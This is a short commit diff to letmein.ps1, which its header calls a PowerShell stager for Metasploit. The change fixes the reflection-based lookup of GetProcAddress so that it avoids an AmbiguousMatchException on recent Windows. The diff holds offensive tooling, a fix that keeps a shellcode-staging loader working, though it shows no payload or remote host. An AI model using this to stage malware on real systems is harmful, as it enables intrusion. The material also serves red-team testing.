Fix AmbiguousMatchException in Get-ProcAddress

letmein.ps1

@@ -1,5 +1,5 @@
 #
-# letmein.ps1 1.0 - PowerShell Stager for Metasploit Framework
+# letmein.ps1 1.1 - PowerShell Stager for Metasploit Framework
 # Copyright (c) 2017-2018 Marco Ivaldi <raptor@0xdeadbeef.info>
 #
 # "You know who I pray to? Joe Pesci. Two reasons: First of all,
@@ -158,7 +158,8 @@ function Local:Get-ProcAddress
 
     # Get a reference to the GetModuleHandle and GetProcAddress methods
     $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
-    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+    # Specify parameters to avoid AmbiguousMatchException on recent Windows versions
+    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]] @([System.Runtime.InteropServices.HandleRef], [String]))
 
     # Get a handle to the module specified
     $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))